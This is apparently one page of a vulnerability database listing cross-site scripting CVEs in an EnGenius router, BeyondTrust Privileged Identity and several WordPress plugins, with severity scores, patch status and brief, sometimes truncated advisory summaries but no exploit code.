EnGenius ESR580 A8J-EMR5000 devices allow a remote attacker to conduct stored XSS attacks that could lead to arbitrary JavaScript code execution (under the context of the user's session) via the. Rated medium severity (CVSS 4.3), this vulnerability is low attack complexity. No vendor patch available.

XSS RCE
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A medium severity vulnerability has been identified within Privileged Identity which can allow an attacker to perform reflected cross-site scripting attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Privileged Identity Beyondtrust
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

I, Librarian is an open-source version of a PDF managing SaaS. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Black Widgets For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.3.7 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Black Widgets For Elementor +2
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Download Manager WordPress plugin before 3.3.00 doesn't sanitize some of it's shortcode parameters, leading to cross site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Download Manager +1
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Team - WordPress Team Member Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's htteamember shortcode in all versions up to, and including, 1.1.4 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The WPAdverts - Classifieds Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's adverts_add shortcode in all versions up to, and including, 2.1.6 due to. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
Prev Page 178 of 453 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40734

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy